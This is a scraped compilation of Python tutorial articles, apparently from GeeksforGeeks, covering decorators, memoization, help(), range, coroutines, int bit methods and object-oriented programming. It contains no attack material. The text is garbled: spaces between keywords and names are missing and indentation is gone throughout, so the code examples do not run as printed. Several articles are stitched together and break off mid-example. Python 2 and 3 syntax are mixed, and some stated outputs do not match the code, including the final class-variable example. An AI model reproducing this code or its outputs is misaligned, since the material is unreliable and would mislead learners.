Another Way:
Python3
# Python code to illustrate
# Decorators with parameters in Python
defdecorator_fun(func):
print("Inside decorator")
definner(*args, **kwargs):
print("Inside inner function")
print("Decorated the function")
func()
returninner
deffunc_to():
print("Inside actual function")
# another way of using decorators
decorator_fun(func_to)()
Output:
Inside decorator
Inside inner function
Decorated the function
Inside actual function
Let’s move to another example:
Example #1:
Python3
# Python code to illustrate
# Decorators with parameters in Python
defdecorator(*args, **kwargs):
print("Inside decorator")
definner(func):
# code functionality here
print("Inside inner function")
print("I like", kwargs['like'])
func()
# returning inner function
returninner
@decorator(like ="geeksforgeeks")
defmy_func():
print("Inside actual function")
Output:
Inside decorator
Inside inner function
I like geeksforgeeks
Inside actual function
Recursion is a programming technique where a function calls itself repeatedly till a termination condition is met. Some of the examples where recursion is used are calculation of fibonacci series, factorial, etc. But the issue with them is that in the recursion tree, there can be chances that the sub-problem that is already solved is being solved again, which adds to overhead. Memoization is a technique of recording the intermediate results so that it can be used to avoid repeated calculations and speed up the programs. It can be used to optimize the programs that use recursion. In Python, memoization can be done with the help of function decorators. Let us take the example of calculating the factorial of a number. The simple program below uses recursion to solve the problem:
Python3
# Simple recursive program to find factorial
deffacto(num):
ifnum ==1:
return1
else:
returnnum *facto(num-1)
print(facto(5))
print(facto(5)) # again performing same calculation
Output
120
120
The above program can be optimized by memoization using decorators.
Python3
# Factorial program with memoization using
# decorators.
# A decorator function for function 'f' passed
# as parameter
memory ={}
defmemoize_factorial(f):
# This inner function has access to memory
# and 'f'
definner(num):
ifnum notinmemory:
memory[num] =f(num)
print('result saved in memory')
else:
print('returning result from saved memory')
returnmemory[num]
returninner
@memoize_factorial
deffacto(num):
ifnum ==1:
return1
else:
returnnum *facto(num-1)
print(facto(5))
print(facto(5)) # directly coming from saved memory
Output
result saved in memory
result saved in memory
result saved in memory
result saved in memory
result saved in memory
120
returning result from saved memory
120
Explanation: 1. A function called memoize_factorial has been defined. Its main purpose is to store the intermediate results in the variable called memory. 2. The second function called facto is the function to calculate the factorial. It has been annotated by a decorator(the function memoize_factorial). The facto has access to the memory variable as a result of the concept of closures. The annotation is equivalent to writing,
facto = memoize_factorial(facto)
3. When facto(5) is called, the recursive operations take place in addition to the storage of intermediate results. Every time a calculation needs to be done, it is checked if the result is available in memory. If yes, then it is used, else, the value is calculated and is stored in memory. 4. We can verify the fact that memoization actually works, please see the output of this program.
The Python help function is used to display the documentation of modules, functions, classes, keywords, etc.
The help function has the following syntax:
help([object])
Python help() function arguments
object: Call help of the given object.
If the help function is passed without an argument, then the interactive help utility starts up on the console.
Python help() Example
Let us check the documentation of the print function in the python console.
Python3
help(print)
Output:
Help on built-in function print in module builtins:
print(...)
print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False)
Prints the values to a stream, or to sys.stdout by default.
Optional keyword arguments:
file: a file-like object (stream); defaults to the current sys.stdout.
sep: string inserted between values, default a space.
end: string appended after the last value, default a newline.
flush: whether to forcibly flush the stream.
Help function output can also be defined for user-defined functions and classes. The docstring(documentation string) is used for documentation. It is nested inside triple quotes and is the first statement within a class or function or a module.
Let us define a class with functions:
Python3
classHelper:
def__init__(self):
'''The helper class is initialized'''
defprint_help(self):
'''Returns the help description'''
print('helper description')
help(Helper)
help(Helper.print_help)
On running the above program, we get the output of the first help function as shown below:
Help on class Helper in module __main__:
class Helper(builtins.object)
| Methods defined here:
|
| __init__(self)
| The helper class is initialized
|
| print_help(self)
| Returns the help description
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
Help on function print_help in module __main__:
print_help(self)
Returns the help description
Python help() function docstring
The docstrings are declared using ”’triple single quotes”’ or “””triple double quotes””” just below the class, method or function declaration. All functions should have a docstring.
Accessing Docstrings: The docstrings can be accessed using the __doc__ method of the object or using the help function.
Python3
defmy_function():
'''Demonstrates triple double quotes
docstrings and does nothing really.'''
returnNone
print("Using __doc__:")
print(my_function.__doc__)
print("Using help:")
help(my_function)
Output:
Using __doc__:
Demonstrates triple double quotes
docstrings and does nothing really.
Using help:
Help on function my_function in module __main__:
my_function()
Demonstrates triple double quotes
docstrings and does nothing really.
While writing a code, there might be a need for some specific modules. So we import those modules by using a single line code in Python.
But what if the name of the module needed is known to us only during runtime? How can we import that module? One can use the Python’s inbuilt __import__() function. It helps to import modules in runtime also.
Parameters: name : Name of the module to be imported globals and locals : Interpret names formlist : Objects or submodules to be imported (as a list) level : Specifies whether to use absolute or relative imports. Default is -1(absolute and relative).
Application : __import__() is not really necessary in everyday Python programming. Its direct use is rare. But sometimes, when there is a need of importing modules during the runtime, this function comes quite handy.
range() : Python range function generates a list of numbers which are generally used in many situation for iteration as in for loop or in many other cases. In python range objects are not iterators. range is a class of a list of immutable objects. The iteration behavior of range is similar to iteration behavior of list in list and range we can not directly call next function. We can call next if we get an iterator using iter.
# Python program to understand range
# this creates a list of 0 to 5
# integers
demo =range(6)
# print the demo
print(demo)
# it will generate error
print(next(demo))
OUTPUT :
range(0, 6)
Runtime Errors :
Traceback (most recent call last):
File "/home/6881218331a293819d2a4c16029084f9.py", line 13, in
print(next(demo))
TypeError: list object is not an iterator
Note : Above runtime error clearly indicates that python range is not a iterator.
Because range is iterable so we can get a iterator with the help of them but we can not directly call next in next. Below example explains it clearly
# Python program to understand range
# creates an iterator
demo =iter(range(6))
# print iterator
print(demo)
# use next
print(next(demo))
OUTPUT :
<listiterator object at 0x7f3f32a46450 >
0
range does not generates all numbers that it contains when we create it. It gives only those numbers which we get them using loop. range has following properties.
range objects are immutable means that they can not be changed again so they can be used as index in dictionaries.
They have start stop and step arguments .
same range can be visit again and again
Example
# Python program to understand range
# creates a demo range
demo =range(1, 31, 2)
# print the range
print(demo)
# print the start of range
print(demo.start)
# print step of range
print(demo.step)
# print the index of element 23
print(demo.index(23))
# since 30 is not present it will give error
print(demo.index(30))
OUTPUT :
range(1, 31, 2)
1
2
11
Runtime Error : Since element 30 is not present it will rise an error
Traceback (most recent call last):
File "/home/cddaae6552d1d9288d7c5ab503c54642.py", line 19, in
print(demo.index(30))
ValueError: 30 is not in range
Prerequisite: Generators We all are familiar with function which is also known as a subroutine, procedure, sub-process, etc. A function is a sequence of instructions packed as a unit to perform a certain task. When the logic of a complex function is divided into several self-contained steps that are themselves functions, then these functions are called helper functions or subroutines.
Subroutines in Python are called by the main function which is responsible for coordinating the use of these subroutines. Subroutines have a single entry point.
Coroutines are generalizations of subroutines. They are used for cooperative multitasking where a process voluntarily yield (give away) control periodically or when idle in order to enable multiple applications to be run simultaneously. The difference between coroutine and subroutine is :
Unlike subroutines, coroutines have many entry points for suspending and resuming execution. Coroutine can suspend its execution and transfer control to other coroutine and can resume again execution from the point it left off.
Unlike subroutines, there is no main function to call coroutines in a particular order and coordinate the results. Coroutines are cooperative that means they link together to form a pipeline. One coroutine may consume input data and send it to other that process it. Finally, there may be a coroutine to display the result.
Coroutine Vs Thread
Now you might be thinking how coroutine is different from threads, both seem to do the same job. In the case of threads, it’s an operating system (or run time environment) that switches between threads according to the scheduler. While in the case of a coroutine, it’s the programmer and programming language which decides when to switch coroutines. Coroutines work cooperatively multitask by suspending and resuming at set points by the programmer.
Python Coroutine
In Python, coroutines are similar to generators but with few extra methods and slight changes in how we use yield statements. Generators produce data for iteration while coroutines can also consume data. In Python 2.5, a slight modification to the yield statement was introduced, now yield can also be used as an expression. For example on the right side of the assignment –
line = (yield)
whatever value we send to coroutine is captured and returned by (yield) expression.
A value can be sent to the coroutine by send() method. For example, consider this coroutine which prints out the name having the prefix “Dear” in it. We will send names to coroutine using send() method.
Python3
# Python3 program for demonstrating
# coroutine execution
defprint_name(prefix):
print("Searching prefix:{}".format(prefix))
whileTrue:
name =(yield)
ifprefix inname:
print(name)
# calling coroutine, nothing will happen
corou =print_name("Dear")
# This will start execution of coroutine and
# Prints first line "Searching prefix..."
# and advance execution to the first yield expression
corou.__next__()
# sending inputs
corou.send("Atul")
corou.send("Dear Atul")
Output:
Searching prefix:Dear
Dear Atul
Execution of Coroutine
The execution of the coroutine is similar to the generator. When we call coroutine nothing happens, it runs only in response to the next() and sends() method. This can be seen clearly in the above example, as only after calling __next__() method, our coroutine starts executing. After this call, execution advances to the first yield expression, now execution pauses and waits for the value to be sent to corou object. When the first value is sent to it, it checks for prefix and print name if prefix present. After printing the name, it goes through the loop until it encounters the name = (yield) expression again.
Closing a Coroutine
Coroutine might run indefinitely, to close coroutine close() method is used. When a coroutine is closed it generates GeneratorExit exception which can be caught in the caught usual way. After closing the coroutine, if we try to send values, it will raise the StopIteration exception. Following is a simple example :
This article is contributed by Atul Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Python bit functions on int (bit_length, to_bytes and from_bytes)
The int type implements the numbers.Integral abstract base class.
1. int.bit_length() Returns the number of bits required to represent an integer in binary, excluding the sign and leading zeros.
Code to demonstrate
num =7
print(num.bit_length())
num =-7
print(num.bit_length())
Output:
3
3
2. int.to_bytes(length, byteorder, *, signed=False) Return an array of bytes representing an integer.If byteorder is “big”, the most significant byte is at the beginning of the byte array. If byteorder is “little”, the most significant byte is at the end of the byte array. The signed argument determines whether two’s complement is used to represent the integer.
# Returns byte representation of 1024 in a
# big endian machine.
print((1024).to_bytes(2, byteorder ='big'))
Output:
b'\x04\x00'
3. int.from_bytes(bytes, byteorder, *, signed=False) Returns the integer represented by the given array of bytes.
# Returns integer value of '\x00\x10' in big endian machine.
After going through the basics of python, you would be interested to know more about further and bit more advance topics of the Python3 programming language. This article covers them. Please remember that Python completely works on indentation and it is advised to practice it a bit by running some programs. Use the tab key to provide indentation to your code.
This article is divided in following five sections:
Classes Just like every other Object Oriented Programming language Python supports classes. Let’s look at some points on Python classes.
Classes are created by keyword class.
Attributes are the variables that belong to class.
Attributes are always public and can be accessed using dot (.) operator. Eg.: Myclass.Myattribute
A sample E.g for classes:
# creates a class named MyClass
classMyClass:
# assign the values to the MyClass attributes
number =0
name ="noname"
defMain():
# Creating an object of the MyClass.
# Here, 'me' is the object
me =MyClass()
# Accessing the attributes of MyClass
# using the dot(.) operator
me.number =1337
me.name ="Harssh"
# str is an build-in function that
# creates an string
print(me.name +" "+str(me.number))
# telling python that there is main in the program.
if__name__=='__main__':
Main()
Output :
Harssh 1337
Methods Method is a bunch of code that is intended to perform a particular task in your Python’s code.
Function that belongs to a class is called an Method.
All methods require ‘self’ parameter. If you have coded in other OOP language you can think of ‘self’ as the ‘this’ keyword which is used for the current object. It unhides the current instance variable.’self’ mostly work like ‘this’.
‘def’ keyword is used to create a new method.
# A Python program to demonstrate working of class
# methods
classVector2D:
x =0.0
y =0.0
# Creating a method named Set
defSet(self, x, y):
self.x =x
self.y =y
defMain():
# vec is an object of class Vector2D
vec =Vector2D()
# Passing values to the function Set
# by using dot(.) operator.
vec.Set(5, 6)
print("X: "+str(vec.x) +", Y: "+str(vec.y))
if__name__=='__main__':
Main()
Output :
X: 5, Y: 6
Inheritance Inheritance is defined as a way in which a particular class inherits features from its base class.Base class is also knows as ‘Superclass’ and the class which inherits from the Superclass is knows as ‘Subclass’
As shown in the figure the Derived class can inherit features from its base class, also it can define its own features too.
# Syntax for inheritance
classderived-classname(superclass-name)
# A Python program to demonstrate working of inheritance
classPet:
#__init__ is an constructor in Python
def__init__(self, name, age):
self.name =name
self.age =age
# Class Cat inheriting from the class Pet
classCat(Pet):
def__init__(self, name, age):
# calling the super-class function __init__
# using the super() function
super().__init__(name, age)
defMain():
thePet =Pet("Pet", 1)
jess =Cat("Jess", 3)
# isinstance() function to check whether a class is
# inherited from another class
print("Is jess a cat? "+str(isinstance(jess, Cat)))
print("Is jess a pet? "+str(isinstance(jess, Pet)))
print("Is the pet a cat? "+str(isinstance(thePet, Cat)))
print("Is thePet a Pet? "+str(isinstance(thePet, Pet)))
print(jess.name)
if__name__=='__main__':
Main()
Output :
Is jess a cat? True
Is jess a pet? True
Is the pet a cat? False
Is thePet a Pet? True
Jess
Iterators Iterators are objects that can be iterated upon.
Python uses the __iter__() method to return an iterator object of the class.
The iterator object then uses the __next__() method to get the next item.
for loops stops when StopIteration Exception is raised.
# This program will reverse the string that is passed
# to it from the main function
classReverse:
def__init__(self, data):
self.data =data
self.index =len(data)
def__iter__(self):
returnself
def__next__(self):
ifself.index ==0:
raiseStopIteration
self.index-=1
returnself.data[self.index]
defMain():
rev =Reverse('Drapsicle')
forchar inrev:
print(char)
if__name__=='__main__':
Main()
Output :
e
l
c
i
s
p
a
r
D
Generators
Another way of creating iterators.
Uses a function rather than a separate class
Generates the background code for the next() and iter() methods
Uses a special statement called yield which saves the state of the generator and set a resume point for when next() is called again.
# A Python program to demonstrate working of Generators
defReverse(data):
# this is like counting from 100 to 1 by taking one(-1)
This article is contributed by Harsh Wardhan Chaudhary (Intern) . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In Python, object-oriented Programming (OOPs) is a programming paradigm that uses objects and classes in programming. It aims to implement real-world entities like inheritance, polymorphisms, encapsulation, etc. in the programming. The main concept of OOPs is to bind the data and the functions that work on that together as a single unit so that no other part of the code can access this data.
Main Concepts of Object-Oriented Programming (OOPs)
Class
Objects
Polymorphism
Encapsulation
Inheritance
Class
A class is a collection of objects. A class contains the blueprints or the prototype from which the objects are being created. It is a logical entity that contains some attributes and methods.
To understand the need for creating a class let’s consider an example, let’s say you wanted to track the number of dogs that may have different attributes like breed, age. If a list is used, the first element could be the dog’s breed while the second element could represent its age. Let’s suppose there are 100 different dogs, then how would you know which element is supposed to be which? What if you wanted to add other properties to these dogs? This lacks organization and it’s the exact need for classes.
Some points on Python class:
Classes are created by keyword class.
Attributes are the variables that belong to a class.
Attributes are always public and can be accessed using the dot (.) operator. Eg.: Myclass.Myattribute
Class Definition Syntax:
class ClassName:
# Statement-1
.
.
.
# Statement-N
Example: Creating an empty Class in Python
Python
# Python3 program to
# demonstrate defining
# a class
classDog:
pass
In the above example, we have created a class named dog using the class keyword.
Objects
The object is an entity that has a state and behavior associated with it. It may be any real-world object like a mouse, keyboard, chair, table, pen, etc. Integers, strings, floating-point numbers, even arrays, and dictionaries, are all objects. More specifically, any single integer or any single string is an object. The number 12 is an object, the string “Hello, world” is an object, a list is an object that can hold other objects, and so on. You’ve been using objects all along and may not even realize it.
An object consists of :
State: It is represented by the attributes of an object. It also reflects the properties of an object.
Behavior: It is represented by the methods of an object. It also reflects the response of an object to other objects.
Identity: It gives a unique name to an object and enables one object to interact with other objects.
To understand the state, behavior, and identity let us take the example of the class dog (explained above).
The identity can be considered as the name of the dog.
State or Attributes can be considered as the breed, age, or color of the dog.
The behavior can be considered as to whether the dog is eating or sleeping.
Example: Creating an object
Python3
obj =Dog()
This will create an object named obj of the class Dog defined above. Before diving deep into objects and class let us understand some basic keywords that will we used while working with objects and classes.
The self
Class methods must have an extra first parameter in the method definition. We do not give a value for this parameter when we call the method, Python provides it
If we have a method that takes no arguments, then we still have to have one argument.
This is similar to this pointer in C++ and this reference in Java.
When we call a method of this object as myobject.method(arg1, arg2), this is automatically converted by Python into MyClass.method(myobject, arg1, arg2) – this is all the special self is about.
The __init__ method is similar to constructors in C++ and Java. It is run as soon as an object of a class is instantiated. The method is useful to do any initialization you want to do with your object.
Now let us define a class and create some objects using the self and __init__ method.
Example 1: Creating a class and object with class and instance attributes
Python3
classDog:
# class attribute
attr1 ="mammal"
# Instance attribute
def__init__(self, name):
self.name =name
# Driver code
# Object instantiation
Rodger =Dog("Rodger")
Tommy =Dog("Tommy")
# Accessing class attributes
print("Rodger is a {}".format(Rodger.__class__.attr1))
print("Tommy is also a {}".format(Tommy.__class__.attr1))
# Accessing instance attributes
print("My name is {}".format(Rodger.name))
print("My name is {}".format(Tommy.name))
Output
Rodger is a mammal
Tommy is also a mammal
My name is Rodger
My name is Tommy
Example 2: Creating Class and objects with methods
Inheritance is the capability of one class to derive or inherit the properties from another class. The class that derives properties is called the derived class or child class and the class from which the properties are being derived is called the base class or parent class. The benefits of inheritance are:
It represents real-world relationships well.
It provides the reusability of a code. We don’t have to write the same code again and again. Also, it allows us to add more features to a class without modifying it.
It is transitive in nature, which means that if class B inherits from another class A, then all the subclasses of B would automatically inherit from class A.
Example: Inheritance in Python
Python3
# Python code to demonstrate how parent constructors
# are called.
# parent class
classPerson(object):
# __init__ is known as the constructor
def__init__(self, name, idnumber):
self.name =name
self.idnumber =idnumber
defdisplay(self):
print(self.name)
print(self.idnumber)
defdetails(self):
print("My name is {}".format(self.name))
print("IdNumber: {}".format(self.idnumber))
# child class
classEmployee(Person):
def__init__(self, name, idnumber, salary, post):
self.salary =salary
self.post =post
# invoking the __init__ of the parent class
Person.__init__(self, name, idnumber)
defdetails(self):
print("My name is {}".format(self.name))
print("IdNumber: {}".format(self.idnumber))
print("Post: {}".format(self.post))
# creation of an object variable or an instance
a =Employee('Rahul', 886012, 200000, "Intern")
# calling a function of the class Person using
# its instance
a.display()
a.details()
Output
Rahul
886012
My name is Rahul
IdNumber: 886012
Post: Intern
In the above article, we have created two classes i.e. Person (parent class) and Employee (Child Class). The Employee class inherits from the Person class. We can use the methods of the person class through employee class as seen in the display function in the above code. A child class can also modify the behavior of the parent class as seen through the details() method.
Polymorphism simply means having many forms. For example, we need to determine if the given species of birds fly or not, using polymorphism we can do this using a single function.
Example: Polymorphism in Python
Python3
classBird:
defintro(self):
print("There are many types of birds.")
defflight(self):
print("Most of the birds can fly but some cannot.")
classsparrow(Bird):
defflight(self):
print("Sparrows can fly.")
classostrich(Bird):
defflight(self):
print("Ostriches cannot fly.")
obj_bird =Bird()
obj_spr =sparrow()
obj_ost =ostrich()
obj_bird.intro()
obj_bird.flight()
obj_spr.intro()
obj_spr.flight()
obj_ost.intro()
obj_ost.flight()
Output
There are many types of birds.
Most of the birds can fly but some cannot.
There are many types of birds.
Sparrows can fly.
There are many types of birds.
Ostriches cannot fly.
Encapsulation is one of the fundamental concepts in object-oriented programming (OOP). It describes the idea of wrapping data and the methods that work on data within one unit. This puts restrictions on accessing variables and methods directly and can prevent the accidental modification of data. To prevent accidental change, an object’s variable can only be changed by an object’s method. Those types of variables are known as private variables.
A class is an example of encapsulation as it encapsulates all the data that is member functions, variables, etc.
Example: Encapsulation in Python
Python3
# Python program to
# demonstrate private members
# Creating a Base class
classBase:
def__init__(self):
self.a ="GeeksforGeeks"
self.__c ="GeeksforGeeks"
# Creating a derived class
classDerived(Base):
def__init__(self):
# Calling constructor of
# Base class
Base.__init__(self)
print("Calling private member of base class: ")
print(self.__c)
# Driver code
obj1 =Base()
print(obj1.a)
# Uncommenting print(obj1.c) will
# raise an AttributeError
# Uncommenting obj2 = Derived() will
# also raise an AtrributeError as
# private member of base class
# is called inside derived class
Output
GeeksforGeeks
In the above example, we have created the c variable as the private attribute. We cannot even access this attribute directly and can’t even change its value.
This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
My Personal Notesarrow_drop_up
Object Oriented Programming in Python | Set 2 (Data Hiding and Object Printing)
In Python, we use double underscore (Or __) before the attributes name and those attributes will not be directly visible outside.
Python
classMyClass:
# Hidden member of MyClass
__hiddenVariable =0
# A member method that changes
# __hiddenVariable
defadd(self, increment):
self.__hiddenVariable +=increment
print(self.__hiddenVariable)
# Driver code
myObject =MyClass()
myObject.add(2)
myObject.add(5)
# This line causes error
print(myObject.__hiddenVariable)
Output :
2
7
Traceback (most recent call last):
File "filename.py", line 13, in
print (myObject.__hiddenVariable)
AttributeError: MyClass instance has
no attribute '__hiddenVariable'
In the above program, we tried to access a hidden variable outside the class using an object and it threw an exception. We can access the value of a hidden attribute by a tricky syntax:
Python
# A Python program to demonstrate that hidden
# members can be accessed outside a class
classMyClass:
# Hidden member of MyClass
__hiddenVariable =10
# Driver code
myObject =MyClass()
print(myObject._MyClass__hiddenVariable)
Output :
10
Private methods are accessible outside their class, just not easily accessible. Nothing in Python is truly private; internally, the names of private methods and attributes are mangled and unmangled on the fly to make them seem inaccessible by their given names [See this for source ].
Printing Objects
Printing objects give us information about objects we are working with. In C++, we can do this by adding a friend ostream& operator << (ostream&, const Foobar&) method for the class. In Java, we use toString() method. In python, this can be achieved by using __repr__ or __str__ methods.
Python
classTest:
def__init__(self, a, b):
self.a =a
self.b =b
def__repr__(self):
return"Test a:%s b:%s"%(self.a, self.b)
def__str__(self):
return"From str method of Test: a is %s,"\
"b is %s"%(self.a, self.b)
# Driver Code
t =Test(1234, 5678)
print(t) # This calls __str__()
print([t]) # This calls __repr__()
Output :
From str method of Test: a is 1234,b is 5678
[Test a:1234 b:5678]
Important Points about Printing:
If no __str__ method is defined, print t (or print str(t)) uses __repr__.
Python
classTest:
def__init__(self, a, b):
self.a =a
self.b =b
def__repr__(self):
return"Test a:%s b:%s"%(self.a, self.b)
# Driver Code
t =Test(1234, 5678)
print(t)
Output :
Test a:1234 b:5678
If no __repr__ method is defined then the default is used.
Python
classTest:
def__init__(self, a, b):
self.a =a
self.b =b
# Driver Code
t =Test(1234, 5678)
print(t)
Output :
<__main__.Test instance at 0x7fa079da6710>
This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
OOP in Python | Set 3 (Inheritance, examples of object, issubclass and super)
One of the major advantages of Object Oriented Programming is re-use. Inheritance is one of the mechanisms to achieve the same. In inheritance, a class (usually called superclass) is inherited by another class (usually called subclass). The subclass adds some attributes to superclass.
Below is a sample Python program to show how inheritance is implemented in Python.
# A Python program to demonstrate inheritance
# Base or Super class. Note object in bracket.
# (Generally, object is made ancestor of all classes)
# In Python 3.x "class Person" is
# equivalent to "class Person(object)"
classPerson(object):
# Constructor
def__init__(self, name):
self.name =name
# To get name
defgetName(self):
returnself.name
# To check if this person is employee
defisEmployee(self):
returnFalse
# Inherited or Sub class (Note Person in bracket)
classEmployee(Person):
# Here we return true
defisEmployee(self):
returnTrue
# Driver code
emp =Person("Geek1") # An Object of Person
print(emp.getName(), emp.isEmployee())
emp =Employee("Geek2") # An Object of Employee
print(emp.getName(), emp.isEmployee())
Output:
('Geek1', False)
('Geek2', True)
How to check if a class is subclass of another? Python provides a function issubclass() that directly tells us if a class is subclass of another class.
# Python example to check if a class is
# subclass of another
classBase(object):
pass# Empty Class
classDerived(Base):
pass# Empty Class
# Driver Code
print(issubclass(Derived, Base))
print(issubclass(Base, Derived))
d =Derived()
b =Base()
# b is not an instance of Derived
print(isinstance(b, Derived))
# But d is an instance of Base
print(isinstance(d, Base))
Output:
True
False
False
True
What is object class? Like Java Object class, in Python (from version 3.x), object is root of all classes.
In Python 3.x, “class Test(object)” and “class Test” are same. In Python 2.x, “class Test(object)” creates a class with object as parent (called new style class) and “class Test” creates old style class (without object parent). Refer this for more details.
Does Python support Multiple Inheritance? Unlike Java and like C++, Python supports multiple inheritance. We specify all parent classes as comma separated list in bracket.
# Python example to show working of multiple
# inheritance
classBase1(object):
def__init__(self):
self.str1 ="Geek1"
print"Base1"
classBase2(object):
def__init__(self):
self.str2 ="Geek2"
print"Base2"
classDerived(Base1, Base2):
def__init__(self):
# Calling constructors of Base1
# and Base2 classes
Base1.__init__(self)
Base2.__init__(self)
print"Derived"
defprintStrs(self):
print(self.str1, self.str2)
ob =Derived()
ob.printStrs()
Output:
Base1
Base2
Derived
('Geek1', 'Geek2')
How to access parent members in a subclass?
Using Parent class name
# Python example to show that base
# class members can be accessed in
# derived class using base class name
classBase(object):
# Constructor
def__init__(self, x):
self.x =x
classDerived(Base):
# Constructor
def__init__(self, x, y):
Base.x =x
self.y =y
defprintXY(self):
# print(self.x, self.y) will also work
print(Base.x, self.y)
# Driver Code
d =Derived(10, 20)
d.printXY()
Output:
(10, 20)
Using super() We can also access parent class members using super.
# Python example to show that base
# class members can be accessed in
# derived class using super()
classBase(object):
# Constructor
def__init__(self, x):
self.x =x
classDerived(Base):
# Constructor
def__init__(self, x, y):
''' In Python 3.x, "super().__init__(name)"
also works'''
super(Derived, self).__init__(x)
self.y =y
defprintXY(self):
# Note that Base.x won't work here
# because super() is used in constructor
print(self.x, self.y)
# Driver Code
d =Derived(10, 20)
d.printXY()
Output:
(10, 20)
Note that the above two methods are not exactly the same. In the next article on inheritance, we will covering following topics. 1) How super works? How accessing a member through super and parent class name are different? 2) How Diamond problem is handled in Python?
Exercise: Predict the output of following Python programs
This article is contributed by Shwetanshu Rohatgi and Mayank Rawat. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
What is Polymorphism: The word polymorphism means having many forms. In programming, polymorphism means the same function name (but different signatures) being used for different types. Example of inbuilt polymorphic functions :
Python3
# Python program to demonstrate in-built poly-
# morphic functions
# len() being used for a string
print(len("geeks"))
# len() being used for a list
print(len([10, 20, 30]))
Output:
5
3
Examples of user-defined polymorphic functions :
Python3
# A simple Python function to demonstrate
# Polymorphism
defadd(x, y, z =0):
returnx +y+z
# Driver code
print(add(2, 3))
print(add(2, 3, 4))
Output:
5
9
Polymorphism with class methods: The below code shows how Python can use two different class types, in the same way. We create a for loop that iterates through a tuple of objects. Then call the methods without being concerned about which class type each object is. We assume that these methods actually exist in each class.
Python3
classIndia():
defcapital(self):
print("New Delhi is the capital of India.")
deflanguage(self):
print("Hindi is the most widely spoken language of India.")
deftype(self):
print("India is a developing country.")
classUSA():
defcapital(self):
print("Washington, D.C. is the capital of USA.")
deflanguage(self):
print("English is the primary language of USA.")
deftype(self):
print("USA is a developed country.")
obj_ind =India()
obj_usa =USA()
forcountry in(obj_ind, obj_usa):
country.capital()
country.language()
country.type()
Output:
New Delhi is the capital of India.
Hindi is the most widely spoken language of India.
India is a developing country.
Washington, D.C. is the capital of USA.
English is the primary language of USA.
USA is a developed country.
Polymorphism with Inheritance: In Python, Polymorphism lets us define methods in the child class that have the same name as the methods in the parent class. In inheritance, the child class inherits the methods from the parent class. However, it is possible to modify a method in a child class that it has inherited from the parent class. This is particularly useful in cases where the method inherited from the parent class doesn’t quite fit the child class. In such cases, we re-implement the method in the child class. This process of re-implementing a method in the child class is known as Method Overriding.
Python3
classBird:
defintro(self):
print("There are many types of birds.")
defflight(self):
print("Most of the birds can fly but some cannot.")
classsparrow(Bird):
defflight(self):
print("Sparrows can fly.")
classostrich(Bird):
defflight(self):
print("Ostriches cannot fly.")
obj_bird =Bird()
obj_spr =sparrow()
obj_ost =ostrich()
obj_bird.intro()
obj_bird.flight()
obj_spr.intro()
obj_spr.flight()
obj_ost.intro()
obj_ost.flight()
Output:
There are many types of birds.
Most of the birds can fly but some cannot.
There are many types of birds.
Sparrows can fly.
There are many types of birds.
Ostriches cannot fly.
Polymorphism with a Function and objects: It is also possible to create a function that can take any object, allowing for polymorphism. In this example, let’s create a function called “func()” which will take an object which we will name “obj”. Though we are using the name ‘obj’, any instantiated object will be able to be called into this function. Next, let’s give the function something to do that uses the ‘obj’ object we passed to it. In this case, let’s call the three methods, viz., capital(), language() and type(), each of which is defined in the two classes ‘India’ and ‘USA’. Next, let’s create instantiations of both the ‘India’ and ‘USA’ classes if we don’t have them already. With those, we can call their action using the same func() function:
Python3
deffunc(obj):
obj.capital()
obj.language()
obj.type()
obj_ind =India()
obj_usa =USA()
func(obj_ind)
func(obj_usa)
Code: Implementing Polymorphism with a Function
Python3
classIndia():
defcapital(self):
print("New Delhi is the capital of India.")
deflanguage(self):
print("Hindi is the most widely spoken language of India.")
deftype(self):
print("India is a developing country.")
classUSA():
defcapital(self):
print("Washington, D.C. is the capital of USA.")
deflanguage(self):
print("English is the primary language of USA.")
deftype(self):
print("USA is a developed country.")
deffunc(obj):
obj.capital()
obj.language()
obj.type()
obj_ind =India()
obj_usa =USA()
func(obj_ind)
func(obj_usa)
Output:
New Delhi is the capital of India.
Hindi is the most widely spoken language of India.
India is a developing country.
Washington, D.C. is the capital of USA.
English is the primary language of USA.
USA is a developed country.
All objects share class or static variables. An instance or non-static variables are different for different objects (every object has a copy). For example, let a Computer Science Student be represented by class CSStudent. The class may have a static variable whose value is “cse” for all objects. And class may also have non-static members like name and roll. In C++ and Java, we can use static keywords to make a variable a class variable. The variables which don’t have a preceding static keyword are instance variables. See this for the Java example and this for the C++ example. The Python approach is simple; it doesn’t require a static keyword.
All variables which are assigned a value in the class declaration are class variables. And variables that are assigned values inside methods are instance variables.
Python
# Python program to show that the variables with a value
# assigned in class declaration, are class variables
# Class for Computer Science Student
classCSStudent:
stream ='cse'# Class Variable
def__init__(self,name,roll):
self.name =name # Instance Variable
self.roll =roll # Instance Variable
# Objects of CSStudent class
a =CSStudent('Geek', 1)
b =CSStudent('Nerd', 2)
print(a.stream) # prints "cse"
print(b.stream) # prints "cse"
print(a.name) # prints "Geek"
print(b.name) # prints "Nerd"
print(a.roll) # prints "1"
print(b.roll) # prints "2"
# Class variables can be accessed using class
# name also
print(CSStudent.stream) # prints "cse"
# Now if we change the stream for just a it won't be changed for b
a.stream ='ece'
print(a.stream) # prints 'ece'
print(b.stream) # prints 'cse'
# To change the stream for all instances of the class we can change it
# directly from the class
CSStudent.stream ='mech'
print(a.stream) # prints 'ece'
print(b.stream) # prints 'mech'
Output:
cse
cse
Geek
Nerd
1
2
cse
ece
cse
ece
mech
